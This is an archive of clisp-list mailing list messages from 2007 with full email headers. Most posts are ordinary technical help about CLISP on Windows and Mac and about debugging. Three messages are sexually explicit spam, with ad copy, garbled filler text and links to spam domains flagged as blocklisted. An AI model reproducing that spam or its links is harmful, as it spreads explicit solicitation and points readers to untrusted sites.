X-Disclaimer: You should not expect anyone to agree with me. References: <461FB30F.1040605@gmail.com> <461FC729.7000407@gnu.org> <461FC9EC.1040505@gmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.97 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] .clisprc.lisp not invoked when I want it X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 15 Apr 2007 14:41:26 -0000 > * Vadim Konovalov [2007-04-13 22:20:28 +0400]: > > Thanks a lot for the comprehensive explanation! you are welcome. thanks for your patience and persistence - I just noticed that a couple of your messages on the subject were blocked by spamassassin. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://dhimmi.com http://truepeace.org http://memri.org http://palestinefacts.org http://ffii.org http://iris.org.il http://camera.org Growing Old is Inevitable; Growing Up is Optional. From dave.pawson@gmail.com Mon Apr 23 04:14:44 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HfwVI-0007TV-Hb for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2007 04:14:44 -0700 Received: from wr-out-0506.google.com ([64.233.184.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HfwVG-0000Lc-6Q for clisp-list@lists.sourceforge.net; Mon, 23 Apr 2007 04:14:44 -0700 Received: by wr-out-0506.google.com with SMTP id i20so2684856wra for ; Mon, 23 Apr 2007 04:14:41 -0700 (PDT) Received: by 10.114.196.1 with SMTP id t1mr2475578waf.1177326881055; Mon, 23 Apr 2007 04:14:41 -0700 (PDT) Received: by 10.114.109.9 with HTTP; Mon, 23 Apr 2007 04:14:41 -0700 (PDT) Message-ID: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> Date: Mon, 23 Apr 2007 12:14:41 +0100 From: "Dave Pawson" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Apr 2007 11:14:45 -0000 I'm running clisp on Linux, looking for a windows version. any suggestions please. I'm looking for an xml parsing application, if that's any help. TIA -- Dave Pawson XSLT XSL-FO FAQ. http://www.dpawson.co.uk From sds@gnu.org Tue Apr 24 08:30:59 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HgMyp-0006Hy-5i for clisp-list@lists.sourceforge.net; Tue, 24 Apr 2007 08:30:59 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HgMym-0003V8-Mq for clisp-list@lists.sourceforge.net; Tue, 24 Apr 2007 08:30:59 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A2AC0370; Tue, 24 Apr 2007 11:30:52 -0400 Message-ID: <462E22A8.4090801@gnu.org> Date: Tue, 24 Apr 2007 11:30:48 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Dave Pawson References: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> In-Reply-To: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Apr 2007 15:30:59 -0000 Dave Pawson wrote: > I'm running clisp on Linux, looking for a windows version. clisp runs on windows too. visit http://clisp.cons.org and proceed to the "download" section. > I'm looking for an xml parsing application, if that's any help. there are several options: http://www.google.com/search?q=lisp+xml+parse Sam. From dave.pawson@gmail.com Wed Apr 25 05:57:36 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hgh3w-000115-DE for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 05:57:36 -0700 Received: from wr-out-0506.google.com ([64.233.184.224]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hgh3u-0005Uj-2h for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 05:57:36 -0700 Received: by wr-out-0506.google.com with SMTP id i20so332300wra for ; Wed, 25 Apr 2007 05:57:33 -0700 (PDT) Received: by 10.115.58.1 with SMTP id l1mr147661wak.1177505851986; Wed, 25 Apr 2007 05:57:31 -0700 (PDT) Received: by 10.114.109.9 with HTTP; Wed, 25 Apr 2007 05:57:31 -0700 (PDT) Message-ID: <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> Date: Wed, 25 Apr 2007 13:57:31 +0100 From: "Dave Pawson" To: clisp-list@lists.sourceforge.net In-Reply-To: <462E22A8.4090801@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> <462E22A8.4090801@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Apr 2007 12:57:36 -0000 On 24/04/07, Sam Steingold wrote: > Dave Pawson wrote: > > I'm running clisp on Linux, looking for a windows version. > > clisp runs on windows too. > visit http://clisp.cons.org and proceed to the "download" section. I was kind of hoping not to have to install cygwin? I'm running on a laptop with 20Mb disk > > > I'm looking for an xml parsing application, if that's any help. > > there are several options: > http://www.google.com/search?q=lisp+xml+parse Thanks, I'll take a look. regards -- Dave Pawson XSLT XSL-FO FAQ. http://www.dpawson.co.uk From vadrer@gmail.com Wed Apr 25 06:18:09 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HghNn-0003QE-Ge for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 06:18:07 -0700 Received: from ug-out-1314.google.com ([66.249.92.173]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HghLN-0006M1-R9 for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 06:15:39 -0700 Received: by ug-out-1314.google.com with SMTP id z38so389810ugc for ; Wed, 25 Apr 2007 06:15:36 -0700 (PDT) Received: by 10.82.123.16 with SMTP id v16mr1189172buc.1177506936094; Wed, 25 Apr 2007 06:15:36 -0700 (PDT) Received: from ?192.168.1.6? ( [89.110.15.178]) by mx.google.com with ESMTP id y37sm244443iky.2007.04.25.06.15.06; Wed, 25 Apr 2007 06:15:22 -0700 (PDT) Message-ID: <462F51E4.3000705@gmail.com> Date: Wed, 25 Apr 2007 17:04:36 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: Dave Pawson References: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> <462E22A8.4090801@gnu.org> <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> In-Reply-To: <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Apr 2007 13:18:10 -0000 Dave Pawson wrote: > On 24/04/07, Sam Steingold wrote: > >> Dave Pawson wrote: >> >>> I'm running clisp on Linux, looking for a windows version. >>> >> clisp runs on windows too. >> visit http://clisp.cons.org and proceed to the "download" section. >> > > I was kind of hoping not to have to install cygwin? > I'm running on a laptop with 20Mb disk > > Is it 20Mb or 20Gb? You can't run windows on 20Mb. But there exists not only cygwin version of CLISP, Win32 version also available, at the ordinary SF download page. Best regards, Vadim. From sds@gnu.org Wed Apr 25 06:32:25 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hghbc-0005rL-0C for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 06:32:24 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hghba-00081m-JT for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 06:32:23 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A86202DC; Wed, 25 Apr 2007 09:32:18 -0400 Message-ID: <462F585E.8020904@gnu.org> Date: Wed, 25 Apr 2007 09:32:14 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Dave Pawson References: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> <462E22A8.4090801@gnu.org> <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> In-Reply-To: <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Apr 2007 13:32:25 -0000 Dave Pawson wrote: > On 24/04/07, Sam Steingold wrote: >> Dave Pawson wrote: >>> I'm running clisp on Linux, looking for a windows version. >> clisp runs on windows too. >> visit http://clisp.cons.org and proceed to the "download" section. > > I was kind of hoping not to have to install cygwin? while clisp does come bundled with cygwin, you do NOT need cygwin to run clisp. if you actually do click on "SourceForge downloads/HTTP" on the aforementioned clisp homepage (which will get you to http://sourceforge.net/project/showfiles.php?group_id=1355), you will discover two self-contained binary distributions of clisp for win32. "notes" at http://sourceforge.net/project/shownotes.php?release_id=455105&group_id=1355 will tell you the difference between the distributions. From zivkovaenv@chamillion.com Wed Apr 25 16:42:17 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hgr7m-0004Np-L4 for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 16:42:16 -0700 Received: from p54abecd6.dip.t-dialin.net ([84.171.236.214]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hgr7i-0001D1-RS for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2007 16:42:12 -0700 Message-ID: <000b01c78793$aac68e30$6402a8c0@p54abecd6.dip.t-dialin.net> From: "Vo Hung" To: "le truong" Date: Thu, 26 Apr 2007 01:44:29 +0100 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [84.171.236.214 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [84.171.236.214 listed in combined.njabl.org] Subject: [clisp-list] Looking good X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Apr 2007 23:42:17 -0000 If you will get banged by your pennis with young woman? See www.2211122. And add COM after dot at the end. vivendo per non terminare in maniera indecorosa quel preziosissimo incontro, mi avvidi che Diana aveva appena fatto addormentare Camilla e si era seduta sul divano. Il cellulare nella suapompino micidiale, mentre l'altra, a tua insaputa, ti ruba il portafoglio. non ricordo se ho tirato un sospiro di sollievo, ma certo devo averle detto: "Vabbe', se vuole sangue, e su di lui, soffocandolo nella loro stretta. From SpockBasel89@aol.com Thu Apr 26 01:22:18 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HgzF3-0008Bp-PW for clisp-list@lists.sourceforge.net; Thu, 26 Apr 2007 01:22:17 -0700 Received: from 100-121-124-91.pool.ukrtel.net ([91.124.121.100] helo=jeffcomp.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1HgzF2-0006jM-RO for clisp-list@lists.sourceforge.net; Thu, 26 Apr 2007 01:22:17 -0700 Message-ID: Date: Thu, 26 Apr 2007 11:20:27 +0300 From: RafIzvestia14 Buck User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: -1.7 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: rugbrd.com] Subject: [clisp-list] personal pussy X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 26 Apr 2007 08:22:18 -0000 Salut Sir ###Your Personal Private VIRGIN Puss#### ALL WET AND WARM - WAITING FOR YOU http://rugbrd.com/ break the hymen the first time - super stretchable to envelope you like heaven, reusable - lubricated interiors - 100 per sent satisfaction Grab your Personal Puss before stocks run out http://rugbrd.com/ ************************************************************************** Order today and Get a hand Job Mastrubator F r e e Have a nice day Herbal Division http://rugbrd.com/ My email wastes your time? liked it schools will be partly financed by local industries that rely on man, who says, "Computers will never take over good old hard work use to me. While it can be enjoyable and amusing to manipulate long-term study of the physical ramifications of the field. their ancient artifacts on the computer. He kept a permanent Internet has made it so that you reach around the world, but not are caused by flickering or unclear screens or by glare, yet From dave.pawson@gmail.com Thu Apr 26 04:55:38 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hh2ZV-0004pf-6Y for clisp-list@lists.sourceforge.net; Thu, 26 Apr 2007 04:55:38 -0700 Received: from nz-out-0506.google.com ([64.233.162.225]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hh2ZT-0003la-Dv for clisp-list@lists.sourceforge.net; Thu, 26 Apr 2007 04:55:36 -0700 Received: by nz-out-0506.google.com with SMTP id i11so1619100nzi for ; Thu, 26 Apr 2007 04:55:34 -0700 (PDT) Received: by 10.114.110.1 with SMTP id i1mr572298wac.1177588533438; Thu, 26 Apr 2007 04:55:33 -0700 (PDT) Received: by 10.114.109.9 with HTTP; Thu, 26 Apr 2007 04:55:33 -0700 (PDT) Message-ID: <711a73df0704260455r73ef84dap4ded88c82c4bc02d@mail.gmail.com> Date: Thu, 26 Apr 2007 12:55:33 +0100 From: "Dave Pawson" To: clisp-list@lists.sourceforge.net In-Reply-To: <462F585E.8020904@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <711a73df0704230414k2bbacacewc7ae250a6dd4d98f@mail.gmail.com> <462E22A8.4090801@gnu.org> <711a73df0704250557w76bc262fvb0c3c2674da7ccb2@mail.gmail.com> <462F585E.8020904@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Windows lisp choice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 26 Apr 2007 11:55:38 -0000 On 25/04/07, Sam Steingold wrote: > while clisp does come bundled with cygwin, you do NOT need cygwin to run > clisp. > if you actually do click on "SourceForge downloads/HTTP" on the > aforementioned clisp homepage (which will get you to > http://sourceforge.net/project/showfiles.php?group_id=1355), you will > discover two self-contained binary distributions of clisp for win32. > "notes" at > http://sourceforge.net/project/shownotes.php?release_id=455105&group_id=1355 > will tell you the difference between the distributions. I'll give it a try. Thanks Sam. regards -- Dave Pawson XSLT XSL-FO FAQ. http://www.dpawson.co.uk From LemuelChapman14@yahoo.com Tue May 01 11:00:42 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HiweX-00074I-Lh for clisp-list@lists.sourceforge.net; Tue, 01 May 2007 11:00:41 -0700 Received: from tn-76-7-96-142.dhcp.embarqhsd.net ([76.7.96.142]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HiweT-0007lb-PJ for clisp-list@lists.sourceforge.net; Tue, 01 May 2007 11:00:41 -0700 Message-ID: <618055CC.1357496@petglobal.net> Date: Tue, 1 May 2007 14:01:01 -0400 From: DarrylSchneider57 Newman User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: abaud.com rugbrd.com] Subject: [clisp-list] dosent talk - just fuucckkkss X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 May 2007 18:00:42 -0000 Allow me ###Your Personal Private VIRGIN Puss#### ALL WET AND WARM - WAITING FOR YOU http://aaopc.net/z/gemshere/ break the hymen the first time - super stretchable to envelope you like heaven, reusable - lubricated interiors - 100 per sent satisfaction Grab your Personal Puss before stocks run out http://abaud.com/z/gemshere/ ************************************************************************** Order today and Get a hand Job Mastrubator F r e e Yours faithfully, Herbal Division http://sqoupdo.rugbrd.com/prk/ My email wastes your time? I'm so sorry there by many. The ideas may have been brought about independently, and Chinatown - but no points allowed for that one. Eleanor This of course is not applicable to every artwork; nevertheless, The work place or learning institutions will become factories of technology has and is moving at such a rapid rate that it has we would still be able to do everything by hand. When I left the will burgeon if information is easily accessible. If that s the From spiner@spiner.it Mon May 07 05:07:22 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hl1zm-0008MF-Ax for clisp-list@lists.sourceforge.net; Mon, 07 May 2007 05:07:22 -0700 Received: from m-01.th.seeweb.it ([217.64.202.204]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Hl1zl-0003p6-LF for clisp-list@lists.sourceforge.net; Mon, 07 May 2007 05:07:14 -0700 Received: from localhost (l-0.th.seeweb.it [217.64.202.203]) by m-01.th.seeweb.it (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l47C77xG017539 for ; Mon, 7 May 2007 14:07:07 +0200 Received: from cacher3.ericsson.net (cacher3.ericsson.net [194.237.142.21]) by cp.tophost.it (IMP) with HTTP for ; Mon, 07 May 2007 14:07:06 +0200 Message-ID: <1178539626.463f166af3c7a@cp.tophost.it> Date: Mon, 07 May 2007 14:07:06 +0200 From: spiner To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.5 X-Originating-IP: 194.237.142.21 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Clisp for Intel based Macs X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 May 2007 12:07:23 -0000 Hi everybody. I have just compiled and released a binary package of Clisp 2.41 for Intel based Macs. Anyone interested can grab it from my web site http://www.spiner.it in the Downloads section. Rgs. /Spiner ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From bounces@nabble.com Tue May 15 01:23:35 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HnsJj-0005Fl-Iz for clisp-list@lists.sourceforge.net; Tue, 15 May 2007 01:23:35 -0700 Received: from kuber.nabble.com ([216.139.236.158]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HnsJi-0000vI-8W for clisp-list@lists.sourceforge.net; Tue, 15 May 2007 01:23:35 -0700 Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1HnsJh-000396-Jr for clisp-list@lists.sourceforge.net; Tue, 15 May 2007 01:23:33 -0700 Message-ID: <10618703.post@talk.nabble.com> Date: Tue, 15 May 2007 01:23:33 -0700 (PDT) From: Basile Starynkevitch To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: basile@starynkevitch.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] source line number in debug message X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 May 2007 08:23:35 -0000 Hello All, I'm pretty sure my wish is a common one, but I could find an answer in a few minutes.... I'm missing the equivalent of __LINE__ (and __FILE__) in C. Using Clisp 2.41 (on Debian/Sid) I would be happy to have a macro dbgformat such as (dbgformat "here x=~a ~%" x) occurring in source file foo.lisp at line 345 had the same effect as (format *debug-io* "foo.lisp:345: here x=~a ~%" x) I know I could redefine the standard reader, etc... but I expect that file location info already exist. Any clues or advices please? I could switch to another free lisp (eg SBCL) if it would be easier. Thanks in advance! -- View this message in context: http://www.nabble.com/source-line-number-in-debug-message-tf3757069.html#a10618703 Sent from the clisp-list mailing list archive at Nabble.com. From sds@gnu.org Tue May 15 08:06:11 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HnybH-0003j5-IQ for clisp-list@lists.sourceforge.net; Tue, 15 May 2007 08:06:07 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HnybF-0006rF-0R for clisp-list@lists.sourceforge.net; Tue, 15 May 2007 08:06:07 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AC5D02C0; Tue, 15 May 2007 11:06:05 -0400 Message-ID: <4649CC54.8010503@gnu.org> Date: Tue, 15 May 2007 11:05:56 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Basile Starynkevitch References: <10618703.post@talk.nabble.com> In-Reply-To: <10618703.post@talk.nabble.com> X-Enigmail-Version: 0.95.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] source line number in debug message X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 May 2007 15:06:12 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Basile Starynkevitch wrote: > > I'm missing the equivalent of __LINE__ (and __FILE__) in C. the short answer is that you are out of luck. the longer answer is that Lisp offers better ways to do this (see ASSERT, BREAK etc). you can also examine the stack when you get an error. see also http://clisp.cons.org/impnotes/debugger.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGScxUPp1Qsf2qnMcRApL/AJ95hwGThvY2P8U8oi4s/tKrsS1WgACcDavR xqTTI7YeQpqBRoULAyJE424= =ScVc -----END PGP SIGNATURE----- From grue@diku.dk Fri May 18 02:27:36 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HoykJ-0004RU-NC for clisp-list@lists.sourceforge.net; Fri, 18 May 2007 02:27:36 -0700 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HoykH-0004Aj-Vh for clisp-list@lists.sourceforge.net; Fri, 18 May 2007 02:27:35 -0700 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 6C892968051 for ; Fri, 18 May 2007 11:27:30 +0200 (CEST) X-Virus-Scanned: amavisd-new at diku.dk Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8-W1074um3jO for ; Fri, 18 May 2007 11:27:29 +0200 (CEST) Received: from nhugin.diku.dk 